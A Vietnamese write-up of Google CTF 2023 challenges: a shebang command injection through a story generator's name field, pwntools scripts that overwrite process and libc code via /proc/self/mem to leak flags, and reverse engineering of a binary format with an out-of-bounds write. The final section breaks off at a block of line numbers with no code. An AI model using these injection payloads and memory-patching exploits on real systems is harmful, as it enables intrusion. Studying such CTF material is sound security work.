Write up Google CTF 2023

Giải năm này tuy hay nhưng cũng có vẻ dễ thở hơn so với năm ngoái. Năm nay mình chơi với team Green Onions, mình giải được 5 bài pwn và 1 bài rev ( so với năm ngoái là 0 bài 🐸 ).

ZERMATT

1
Roblox made lua packing popular, since we'd like to keep hanging out with the cool kids, he's our take on it.

Attachment: ZERMATT.zip

Đề đưa một file LUA script bị làm rối.

image

Không nghĩ nhiều, mình thử debug LUA bằng gdb rồi tìm flag trong memory, lúc đầu không nghĩ nó thành công nhưng ai ngờ lại được <(“).

image

Flag: CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}

STORYGEN

1
I wrote a story generator. It's still work in progress, but you can check it out.

Attachment: STORYGEN.zip

Một bài bash injection đơn giản:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import time
import os

time.sleep(0.1)

print("Welcome to a story generator.")
print("Answer a few questions to get started.")
print()

name = input("What's your name?\n")
where = input("Where are you from?\n")

def sanitize(s):
return s.replace("'", '').replace("\n", "")

name = sanitize(name)
where = sanitize(where)

STORY = """

#@NAME's story

NAME='@NAME'
WHERE='@WHERE'

echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"

types[0]="dog"
types[1]="cat"
types[2]="fish"

names[0]="Bella"
names[1]="Max"
names[2]="Luna"


for i in 1 2 3
do
size1=${#types[@]}
index1=$(($RANDOM % $size1))
size2=${#names[@]}
index2=$(($RANDOM % $size2))
echo "- a ${types[$index1]} named ${names[$index2]}"
done

echo

echo "Well, I'm not a good writer, you can write the rest... Hope this is a good starting point!"
echo "If not, try running the script again."

"""


open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())
os.chmod("/tmp/script.sh", 0o777)

while True:
s = input("Do you want to hear the personalized, procedurally-generated story?\n")
if s.lower() != "yes":
break
print()
print()
os.system("/tmp/script.sh")
print()
print()

print("Bye!")

Ta có thể inject shebang lên đầu file script.sh thông qua biến name. Thông thường shebang chỉ nhận duy nhất một tham số, để chạy được với nhiều tham số mình sử dụng /usr/bin/env.

Từ đó mình sẽ để name"!/usr/bin/env -S sh -s \\", cần thêm dấu \ vì ta thấy còn 's story ở sau, dấu \ để escape kí tự '.

Khi đó dòng đầu tiên của script sẽ là #!/usr/bin/env -S sh -s \\'s story , nó sẽ thực thi lệnh sh -s \\'s story, tham số -s của sh sẽ không quan tâm đằng sau nó là gì, từ đó ta có shell.

image

Flag: CTF{Sh3b4ng_1nj3cti0n_ftw}

WRITE-FLAG-WHERE

1
2
3
4
5
6
7
8
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.

Attachment: wfw1.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[9]; // [rsp+0h] [rbp-70h] BYREF
int n; // [rsp+4Ch] [rbp-24h] OVERLAPPED BYREF
__off64_t addr; // [rsp+50h] [rbp-20h] BYREF
int v7; // [rsp+58h] [rbp-18h]
int v8; // [rsp+5Ch] [rbp-14h]
int v9; // [rsp+60h] [rbp-10h]
int v10; // [rsp+64h] [rbp-Ch]
int v11; // [rsp+68h] [rbp-8h]
int fd; // [rsp+6Ch] [rbp-4h]

fd = open("/proc/self/maps", 0, envp);
read(fd, maps, 0x1000uLL);
close(fd);
v11 = open("./flag.txt", 0);
if ( v11 == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(v11, &flag, 0x80uLL) > 0 )
{
close(v11);
v10 = dup2(1, 1337);
v9 = open("/dev/null", 2);
dup2(v9, 0);
dup2(v9, 1);
dup2(v9, 2);
close(v9);
alarm(0x3Cu);
dprintf(
v10,
"This challenge is not a classical pwn\n"
"In order to solve it will take skills of your own\n"
"An excellent primitive you get for free\n"
"Choose an address and I will write what I see\n"
"But the author is cursed or perhaps it's just out of spite\n"
"For the flag that you seek is the thing you will write\n"
"ASLR isn't the challenge so I'll tell you what\n"
"I'll give you my mappings so that you'll have a shot.\n");
dprintf(v10, "%s\n\n", maps);
while ( 1 )
{
dprintf(
v10,
"Give me an address and a length just so:\n"
"<address> <length>\n"
"And I'll write it wherever you want it to go.\n"
"If an exit is all that you desire\n"
"Send me nothing and I will happily expire\n");
memset(buf, 0, 64);
v8 = read(v10, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &addr, &n) != 2 || (unsigned int)n > 0x7F )
break;
v7 = open("/proc/self/mem", 2);
lseek64(v7, addr, 0);
write(v7, &flag, (unsigned int)n);
close(v7);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}

Chương trình cho ta xem /proc/self/map, mở /proc/self/mem rồi lssek và write flag ở đâu tuỳ vào input của mình.

Tức là ta có thể biết địa chỉ và có thể ghi đè flag ở đâu trong memory của process đó ( không cần quan tâm quyền write ).

Mình chỉ cần đơn là ghi đè flag vào chuỗi "Give me an address ... ".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from time import sleep

context.binary = e = ELF("./chal_patched")
libc = ELF("./libc.so.6")
gs="""
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
p.recvuntil(b"I'll give you my mappings so that you'll have a shot.\n")
e.address = int(p.recv(12).decode(),16)
log.info(f"{hex(e.address)}")
p.sendline(f"{hex(e.address+0x00000000000021E0)} 40".encode())
p.interactive()

image

Flag: CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}

WRITE-FLAG-WHERE2

1
2
Was that too easy? Let's make it tough
It's the challenge from before, but I've removed all the fluff

Attchment: wfw2.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[9]; // [rsp+0h] [rbp-70h] BYREF
unsigned int n; // [rsp+4Ch] [rbp-24h] OVERLAPPED BYREF
__off64_t addr; // [rsp+50h] [rbp-20h] BYREF
int v7; // [rsp+58h] [rbp-18h]
int v8; // [rsp+5Ch] [rbp-14h]
int v9; // [rsp+60h] [rbp-10h]
int v10; // [rsp+64h] [rbp-Ch]
int v11; // [rsp+68h] [rbp-8h]
int fd; // [rsp+6Ch] [rbp-4h]

fd = open("/proc/self/maps", 0, envp);
read(fd, maps, 0x1000uLL);
close(fd);
v11 = open("./flag.txt", 0);
if ( v11 == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(v11, &flag, 0x80uLL) > 0 )
{
close(v11);
v10 = dup2(1, 1337);
v9 = open("/dev/null", 2);
dup2(v9, 0);
dup2(v9, 1);
dup2(v9, 2);
close(v9);
alarm(0x3Cu);
dprintf(
v10,
"Was that too easy? Let's make it tough\nIt's the challenge from before, but I've removed all the fluff\n");
dprintf(v10, "%s\n\n", maps);
while ( 1 )
{
memset(buf, 0, 64);
v8 = read(v10, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &addr, &n) != 2 || n > 0x7F )
break;
v7 = open("/proc/self/mem", 2);
lseek64(v7, addr, 0);
write(v7, &flag, n);
close(v7);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}

Lần này trong vòng lặp không có hàm dprintf nào được gọi ra.

Tuy nhiên nếu coi kĩ disassembly của hàm main , ta thấy dưới đoạn call exit(0) có một đoạn code ẩn:

1
2
3
4
5
6
7
8
9
10
11
12
.text:000000000000143B
.text:000000000000143B loc_143B: ; CODE XREF: main+24F↑j
.text:000000000000143B mov edi, 0 ; status
.text:0000000000001440 call _exit
.text:0000000000001445 ; ---------------------------------------------------------------------------
.text:0000000000001445 mov eax, [rbp+var_C]
.text:0000000000001448 lea rdx, aSomehowYouGotH ; "Somehow you got here??\n"
.text:000000000000144F mov rsi, rdx ; fmt
.text:0000000000001452 mov edi, eax ; fd
.text:0000000000001454 mov eax, 0
.text:0000000000001459 call _dprintf
.text:000000000000145E call _abort

Đoạn code đó sẽ gọi dprintf(v10,"Somehow you got here??\n","Somehow you got here??\n").

Vậy mục tiêu là làm thế nào để chương trình không gọi exit mà thực thi luôn đoạn code ở dưới đó.

Để ý từ đoạn call _exit đến mov eax, [rbp+var_C] cách nhau 5 bytes, vậy nên mình sẽ hướng đến việc sửa 5 bytes đó thành những bytecode hợp lệ thay thế cho call exit_.

Sau một hồi mò mẫn, mình sửa chúng thành “CTFCT”, từ đó đoạn code đó trở thành:

1
2
3
4
5
6
7
8
9
10
0x0000555555555440 <+599>:   rex.XB push r12
0x0000555555555442 <+601>: rex.RX
0x0000555555555443 <+602>: rex.XB push r12
0x0000555555555445 <+604>: mov eax,DWORD PTR [rbp-0xc]
0x0000555555555448 <+607>: lea rdx,[rip+0xc86] # 0x5555555560d5
0x000055555555544f <+614>: mov rsi,rdx
0x0000555555555452 <+617>: mov edi,eax
0x0000555555555454 <+619>: mov eax,0x0
0x0000555555555459 <+624>: call 0x555555555090 <dprintf@plt>
0x000055555555545e <+629>: call 0x555555555030 <abort@plt>

Giờ khi vòng lặp bị break, đơn giản chương trình chỉ push r12 2 lần rồi gọi dprintf(v10,"Somehow you got here??\n","Somehow you got here??\n").

Vậy trước khi break vòng lặp, chỉ cần ghi đè chuỗi "Somehow you got here??\n" thành flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from time import sleep

context.binary = e = ELF("./chal")
libc = ELF("./libc.so.6")
gs="""
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
p.recvuntil(b"It's the challenge from before, but I've removed all the fluff\n")
e.address = int(p.recv(12),16)
p.recv()
log.info(f"{hex(e.address)}")
p.recvuntil(b"[vsyscall]")

p.sendline(f"{hex(e.sym.main+599)} 3".encode())
sleep(1)
p.sendline(f"{hex(e.sym.main+599+3)} 2".encode())
sleep(1)
p.sendline(f"{hex(e.address+0x20d5)} 50".encode())
sleep(1)
p.sendline(b"--")
p.interactive()

image

Flag: CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}

WRITE-FLAG-WHERE3

1
2
3
4
Your skills are considerable, I'm sure you'll agree
But this final level's toughness fills me with glee
No writes to my binary, this I require
For otherwise I will surely expire

Attachment: wtw3.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[9]; // [rsp+0h] [rbp-70h] BYREF
unsigned int n; // [rsp+4Ch] [rbp-24h] OVERLAPPED BYREF
unsigned __int64 n_4; // [rsp+50h] [rbp-20h] BYREF
int v7; // [rsp+58h] [rbp-18h]
int v8; // [rsp+5Ch] [rbp-14h]
int v9; // [rsp+60h] [rbp-10h]
int v10; // [rsp+64h] [rbp-Ch]
int v11; // [rsp+68h] [rbp-8h]
int fd; // [rsp+6Ch] [rbp-4h]

fd = open("/proc/self/maps", 0, envp);
read(fd, maps, 0x1000uLL);
close(fd);
v11 = open("./flag.txt", 0);
if ( v11 == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(v11, &flag, 0x80uLL) > 0 )
{
close(v11);
v10 = dup2(1, 1337);
v9 = open("/dev/null", 2);
dup2(v9, 0);
dup2(v9, 1);
dup2(v9, 2);
close(v9);
alarm(0x3Cu);
dprintf(
v10,
"Your skills are considerable, I'm sure you'll agree\n"
"But this final level's toughness fills me with glee\n"
"No writes to my binary, this I require\n"
"For otherwise I will surely expire\n");
dprintf(v10, "%s\n\n", maps);
while ( 1 )
{
memset(buf, 0, 64);
v8 = read(v10, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &n_4, &n) != 2
|| n > 0x7F
|| n_4 >= (unsigned __int64)main - 20480 && (unsigned __int64)main + 20480 >= n_4 )
{
break;
}
v7 = open("/proc/self/mem", 2);
lseek64(v7, n_4, 0);
write(v7, &flag, n);
close(v7);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}

Lần này, ta không thể ghi đè ở bất kì đâu trên binary, nên mình sẽ tập trung ghi đè ở libc.

Hàm mà mình nghĩ đến khi ghi đè sẽ làm write, vì suy cho cùng mục tiêu chính là write(1337,flag,...).

Ta xem thử assembler code của hàm write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Dump of assembler code for function __GI___libc_write:
0x00007ffff7d14a20 <+0>: endbr64
0x00007ffff7d14a24 <+4>: mov eax,DWORD PTR fs:0x18
0x00007ffff7d14a2c <+12>: test eax,eax
0x00007ffff7d14a2e <+14>: jne 0x7ffff7d14a40 <__GI___libc_write+32>
0x00007ffff7d14a30 <+16>: mov eax,0x1
0x00007ffff7d14a35 <+21>: syscall
0x00007ffff7d14a37 <+23>: cmp rax,0xfffffffffffff000
0x00007ffff7d14a3d <+29>: ja 0x7ffff7d14a90 <__GI___libc_write+112>
0x00007ffff7d14a3f <+31>: ret
0x00007ffff7d14a40 <+32>: sub rsp,0x28
0x00007ffff7d14a44 <+36>: mov QWORD PTR [rsp+0x18],rdx
0x00007ffff7d14a49 <+41>: mov QWORD PTR [rsp+0x10],rsi
0x00007ffff7d14a4e <+46>: mov DWORD PTR [rsp+0x8],edi
0x00007ffff7d14a52 <+50>: call 0x7ffff7c90a70 <__GI___pthread_enable_asynccancel>
0x00007ffff7d14a57 <+55>: mov rdx,QWORD PTR [rsp+0x18]
0x00007ffff7d14a5c <+60>: mov rsi,QWORD PTR [rsp+0x10]
0x00007ffff7d14a61 <+65>: mov r8d,eax
0x00007ffff7d14a64 <+68>: mov edi,DWORD PTR [rsp+0x8]
0x00007ffff7d14a68 <+72>: mov eax,0x1
0x00007ffff7d14a6d <+77>: syscall
0x00007ffff7d14a6f <+79>: cmp rax,0xfffffffffffff000
0x00007ffff7d14a75 <+85>: ja 0x7ffff7d14aa8 <__GI___libc_write+136>
0x00007ffff7d14a77 <+87>: mov edi,r8d
0x00007ffff7d14a7a <+90>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7d14a7f <+95>: call 0x7ffff7c90ae0 <__GI___pthread_disable_asynccancel>
0x00007ffff7d14a84 <+100>: mov rax,QWORD PTR [rsp+0x8]
0x00007ffff7d14a89 <+105>: add rsp,0x28
0x00007ffff7d14a8d <+109>: ret
0x00007ffff7d14a8e <+110>: xchg ax,ax
0x00007ffff7d14a90 <+112>: mov rdx,QWORD PTR [rip+0x104379] # 0x7ffff7e18e10
0x00007ffff7d14a97 <+119>: neg eax
0x00007ffff7d14a99 <+121>: mov DWORD PTR fs:[rdx],eax
0x00007ffff7d14a9c <+124>: mov rax,0xffffffffffffffff
0x00007ffff7d14aa3 <+131>: ret
0x00007ffff7d14aa4 <+132>: nop DWORD PTR [rax+0x0]
0x00007ffff7d14aa8 <+136>: mov rdx,QWORD PTR [rip+0x104361] # 0x7ffff7e18e10
0x00007ffff7d14aaf <+143>: neg eax
0x00007ffff7d14ab1 <+145>: mov DWORD PTR fs:[rdx],eax
0x00007ffff7d14ab4 <+148>: mov rax,0xffffffffffffffff
0x00007ffff7d14abb <+155>: jmp 0x7ffff7d14a77 <__GI___libc_write+87>
End of assembler dump.

Ta để ý hàm write sẽ check nếu DWORD PTR fs:0x18 khác 0 (jne 0x7ffff7d14a40 <__GI___libc_write+32>) thì sẽ lưu 3 tham số $edi,$rsi,$rdx lần lượt ở $rsp+ 0x8,0x10,0x18 rồi gọi hàm
__GI___pthread_enable_asynccancel, từ đó khôi phục lại tham số ở stack rồi gọi syscall_write.

Chuyện gì khi ta sửa đoạn mov edi,DWORD PTR [rsp+0x8] thành mov edi,DWORD PTR [rsp+0x43] ? Để ý trước đó là sub rsp,0x28, stack frame của hàm write chỉ có size 0x28, khi này $rsp+0x43
đã tràn xuống stack frame của hàm main.

Nếu tính thêm return address của hàm write nữa là 8 byte, thì tức là $rsp+0x43 ở offset 0x43-0x28-8=0x13 của stack frame hàm main, nếu để ý thì nó nằm trong phạm vi của biến buf.

Tức là giờ nếu sửa thành mov edi,DWORD PTR [rsp+0x43], ta có thểm kiểm soát giá trị $edi thông qua buf.

Vấn đề là giờ làm sao để hàm write thực thi ở đoạn write+32, đơn giản mình sửa ở write+31 từ ret thành byte C, lúc này hàm write trở thành:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dump of assembler code for function __GI___libc_write:
0x00007ffff7d14a20 <+0>: endbr64
0x00007ffff7d14a24 <+4>: mov eax,DWORD PTR fs:0x18
0x00007ffff7d14a2c <+12>: test eax,eax
0x00007ffff7d14a2e <+14>: jne 0x7ffff7d14a40 <__GI___libc_write+32>
0x00007ffff7d14a30 <+16>: mov eax,0x1
0x00007ffff7d14a35 <+21>: syscall
0x00007ffff7d14a37 <+23>: cmp rax,0xfffffffffffff000
0x00007ffff7d14a3d <+29>: ja 0x7ffff7d14a90 <__GI___libc_write+112>
0x00007ffff7d14a3f <+31>: rex.XB
0x00007ffff7d14a40 <+32>: sub rsp,0x28
0x00007ffff7d14a44 <+36>: mov QWORD PTR [rsp+0x18],rdx
0x00007ffff7d14a49 <+41>: mov QWORD PTR [rsp+0x10],rsi
0x00007ffff7d14a4e <+46>: mov DWORD PTR [rsp+0x8],edi
0x00007ffff7d14a52 <+50>: call 0x7ffff7c90a70 <__GI___pthread_enable_asynccancel>
0x00007ffff7d14a57 <+55>: mov rdx,QWORD PTR [rsp+0x18]
0x00007ffff7d14a5c <+60>: mov rsi,QWORD PTR [rsp+0x10]
0x00007ffff7d14a61 <+65>: mov r8d,eax
0x00007ffff7d14a64 <+68>: mov edi,DWORD PTR [rsp+0x43]
0x00007ffff7d14a68 <+72>: mov eax,0x1
0x00007ffff7d14a6d <+77>: syscall
0x00007ffff7d14a6f <+79>: cmp rax,0xfffffffffffff000
0x00007ffff7d14a75 <+85>: ja 0x7ffff7d14aa8 <__GI___libc_write+136>
0x00007ffff7d14a77 <+87>: mov edi,r8d
...

Khi này nếu syscallwrite+21 trả về giá trị > 0 thì thay vì ret nó sẽ thực thi đoạn code từ write+32.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from time import sleep

context.binary = e = ELF("./chal")
libc = ELF("./libc.so.6")
gs="""
"""
def start():
if args.LOCAL:
p=process(e.path)
elif args.GDB:
p = gdb.debug(e.path,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p
p = start()
p.recvuntil(b"For otherwise I will surely expire\n")
e.address = int(p.recv(12),16)
p.recvuntil(b"rw-p 00003000 00:106 566730 /home/user/chal\n")
p.recvline()
p.recvline()
libc.address = int(p.recv(12),16)
p.recvuntil(b"rw-p 00218000 00:106 567509 /usr/lib/x86_64-linux-gnu/libc.so.6\n")
p.recvline()
dark = int(p.recv(12),16)+0x758
p.recvuntil(b"[vsyscall]\n")
log.success(f"{hex(e.address)}")
log.success(f"{hex(libc.address)}")
log.success(f"{hex(dark)}")

p.sendline(f"{hex(libc.sym.__GI___libc_write+71)} 1".ljust(63).encode())
sleep(1)
p.sendline(f"{hex(libc.sym.__GI___libc_write+31)} 1".ljust(63).encode())
sleep(1)
_ = f"{hex(libc.sym.__malloc_hook)} 100".encode()+b"\0" # write on malloc_hook -> rax > 0
p.sendline((_+(p32(1337).rjust(0x40-0x30-1-len(_),b"\x00"))))
p.interactive()

image

Flag: CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

UBF

1
Please review and test this Unnecessary Binary Format (UBF)!

Attachment: ubf.zip

Bài này hơi khó một chút ở công đoạn rev.

IDAdatabase của mình: ubf.i64.zip

Các struct mà mình recover được:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct __attribute__((packed)) __attribute__((aligned(1))) Handler
{
struct Handler* next_hdl;
char cur_option;
int cur_count;
int cur_next;
int cur_size;
char *handler_ptr;
};
struct __attribute__((packed)) __attribute__((aligned(1))) User
{
int size;
char option;
short arr_count;
short next;
short data_arr[];
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
char *__fastcall unpack(User *buf, int len)
{
int v3; // eax
Handler *handler; // [rsp+10h] [rbp-40h] BYREF
Handler *handler_8; // [rsp+18h] [rbp-38h] BYREF
void *v6; // [rsp+20h] [rbp-30h]
User *final; // [rsp+28h] [rbp-28h]
char *v8; // [rsp+30h] [rbp-20h]
Handler *v9; // [rsp+38h] [rbp-18h]
Handler **p_handler_8; // [rsp+40h] [rbp-10h]
User *buf_dup; // [rsp+48h] [rbp-8h]

buf_dup = buf;
final = (User *)((char *)buf + len);
handler_8 = 0LL;
p_handler_8 = &handler_8;
do
{
if ( final < &buf_dup[1] || buf_dup->arr_count < 0 || buf_dup->size < 0 )
{
errorstr = "Invalid header";
return 0LL;
}
handler = 0LL;
buf_dup = unpack_entry(buf_dup, final, &handler);
if ( !buf_dup )
return 0LL;
*p_handler_8 = handler;
p_handler_8 = &handler->next_hdl;
}
while ( buf_dup < final );
v9 = handler_8;
v8 = tmp_string;
v6 = &unk_250BF;
while ( v9 )
{
v3 = v9->cur_option;
if ( v3 == 's' )
{
v8 = strs_tostr(v9, v8, final);
}
else if ( v3 <= 115 )
{
if ( v3 == 'b' )
{
v8 = (char *)bools_tostr(v9, v8, v6);
}
else if ( v3 == 'i' )
{
v8 = (char *)ints_tostr(v9, v8, final);
}
}
if ( !v8 )
{
errorstr = "Memory failure";
return 0LL;
}
v9 = v9->next_hdl;
}
*v8 = 0;
return tmp_string;
}

Ở hàm unpack, chúng sẽ kiểm tra các struct User mà ta đưa vào, thông tin unpack sẽ được lưu lại ở các Handler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
User *__fastcall unpack_entry(User *cur_usr, User *final, Handler **handler)
{
int option; // eax
Handler *hdl; // [rsp+20h] [rbp-10h]
User *v7; // [rsp+28h] [rbp-8h]

hdl = (Handler *)malloc(0x1DuLL);
hdl->next_hdl = 0LL;
hdl->cur_option = cur_usr->option;
hdl->cur_count = cur_usr->arr_count;
hdl->cur_size = cur_usr->size;
hdl->cur_next = cur_usr->next;
hdl->handler_ptr = (char *)malloc(cur_usr->size);
if ( !hdl->handler_ptr )
{
errorstr = "Memory failure";
return 0LL;
}
option = cur_usr->option;
if ( option == 's' )
{
v7 = unpack_strings(cur_usr, hdl, final);
}
else
{
if ( option > 's' )
{
LABEL_11:
errorstr = "Invalid type field";
return 0LL;
}
if ( option == 'b' )
{
v7 = unpack_bools(cur_usr, hdl, final);
fix_corrupt_booleans(hdl);
}
else
{
if ( option != 'i' )
goto LABEL_11;
v7 = unpack_ints(cur_usr, hdl, final);
}
}
*handler = hdl;
return v7;
}

Tuỳ vào option của struct User mà các hàm unpack_strings hoặc unpack_bools hoặc unpack_ints sẽ được gọi ra, tuy nhiên trong quá trình làm mình thấy ta chỉ cần quan tâm 2 hàm
unpack_stringsunpack_bools.

Hàm unpack_strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
User *__fastcall unpack_strings(User *cur, Handler *handler, void *end)
{
int v5; // [rsp+24h] [rbp-3Ch] BYREF
char *src; // [rsp+28h] [rbp-38h] BYREF
__int16 idx; // [rsp+36h] [rbp-2Ah]
__int16 *data_arr; // [rsp+38h] [rbp-28h]
int i; // [rsp+44h] [rbp-1Ch]
const char *hmm; // [rsp+48h] [rbp-18h]
int next; // [rsp+54h] [rbp-Ch]
char *handler_ptr; // [rsp+58h] [rbp-8h]

handler_ptr = handler->handler_ptr;
next = cur->next;
data_arr = cur->data_arr;
hmm = (char *)cur->data_arr + cur->next;
if ( cur->next == 2LL * cur->arr_count )
{
if ( cur->next <= handler->cur_size )
{
for ( i = 0; i < cur->arr_count; ++i )
{
idx = data_arr[i];
src = 0LL;
v5 = 0;
if ( idx < 0 || end < &hmm[idx] )
{
errorstr = "String data out of bounds";
return 0LL;
}
expand_string(hmm, idx, (const char **)&src, &v5);
if ( next + v5 > handler->cur_size )
{
resize_rawbuf((__int64)handler, v5 + next + 1);
handler_ptr = handler->handler_ptr;
}
*(_WORD *)&handler_ptr[2 * i] = v5;
memcpy(&handler_ptr[next], src, v5);
handler_ptr[v5 + next] = 0;
hmm += idx;
next += v5 + 1;
}
return (User *)hmm;
}
else
{
errorstr = "String metadata out of bounds";
return 0LL;
}
}
else
{
errorstr = "Invalid string metadata";
return 0LL;
}
}

Thoạt đầu nhìn mình hơi rối nên mình check hàm expand_string trước:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int *__fastcall expand_string(const char *hmm, int idx, const char **src, int *a4)
{
int v4; // eax
int v5; // edx
int *result; // rax
const char *s; // [rsp+28h] [rbp-8h]

if ( idx > 1
&& *hmm == '$'
&& (memcpy(tmp_string, hmm + 1, idx - 1), tmp_string[idx - 1] = 0, (s = getenv(tmp_string)) != 0LL) )
{
v4 = strlen(s);
*src = s;
v5 = 0xFFFF;
if ( v4 <= 0xFFFF )
v5 = v4;
result = a4;
*a4 = v5;
}
else
{
*src = hmm;
result = a4;
*a4 = idx;
}
return result;
}

Oh, hàm expand_string sẽ check chuỗi hmm có định dạng $... không, nếu đúng định dạng thì sẽ gọi s = getenv(hmm+1) rồi để src[0]=s nếu s khác NULL.

Ở hàm unpack_string ta để ý 2 đoạn code idx = data_arr[i];hmm += idx; nên mình rút ra:

  • data_arr lưu độ dài của các tên biến môi trường ta cần lấy.
  • hmm chính là mảng các tên biến môi trường

Ví dụ hmm là “$FLAG$MOTD$X” thì data_arr là {5,5,2}.

Đoạn code

1
2
3
4
5
6
for ( i = 0; i < cur->arr_count; ++i )
{
idx = data_arr[i];
src = 0LL;
v5 = 0;
...

cho ta biết độ dài của mảng data_arr được set ở arr_count.

Ta chỉ cần set next = 2*arr_count để đi vào vòng lặp.

Để ý memcpy(&handler_ptr[next], src, v5);, tức là nội dung của biến môi trường sẽ được lưu ở handler_ptr.

Payload để unpackstring sẽ là:

1
2
3
4
5
6
7
(    p32(0x60)+ #8
p8(ord('s'))+ #1
p16(0x3)+ #2
p16(0x6)+ #2
p16(5)*3+
b"$FLAG"+b"$MOTD"+b"$TEAM"
)

image

Chúng ta đã lấy được giá trị của 3 biến môi trường, tuy nhiên flag đã bị che lại ở hàm censor_string.

Tiếp theo mình check hàm unpack_boolsfix_corrupt_booleans :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
User *__fastcall unpack_bools(User *a1, Handler *a2, void *a3)
{
int cp_count; // [rsp+2Ch] [rbp-14h]
__int16 *arrlist; // [rsp+38h] [rbp-8h]

arrlist = a1->data_arr;
cp_count = a1->arr_count;
if ( cp_count <= a1->size && a3 >= (char *)arrlist + a1->arr_count )
{
memcpy(a2->handler_ptr, arrlist, a1->arr_count);
return (User *)((char *)arrlist + cp_count);
}
else
{
errorstr = "Invalid bool content size";
return 0LL;
}
}
char *__fastcall fix_corrupt_booleans(Handler *a1)
{
char *result; // rax
char *v2; // [rsp+10h] [rbp-18h]
char *v3; // [rsp+18h] [rbp-10h]
int i; // [rsp+24h] [rbp-4h]

v3 = &a1->handler_ptr[a1->cur_next];
v2 = &a1->handler_ptr[a1->cur_size];
for ( i = 0; ; ++i )
{
result = (char *)(unsigned int)a1->cur_count;
if ( i >= (int)result )
break;
result = &v3[i];
if ( result >= v2 )
break;
v3[i] = v3[i] != 0;
}
return result;
}

Hành vi của hàm unpack_bools không khác gì nhiều unpack_string, tuy nhiên ở hàm fix_corrupt_booleans ta thấy v3 = &a1->handler_ptr[a1->cur_next];
bị bug out-of-bond nếu
a1->cur_next < 0, chưa kể nếu v3[i] khác 0 thì nó sẽ ghi đè thành byte \x01 thông qua v3[i] = v3[i] != 0;.

Hmm, ta có thể tận dụng bug để v3 để trỏ vào flag, từ đó ghi đè byte C thành byte \x01 tù đó bypass hàm censor_string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
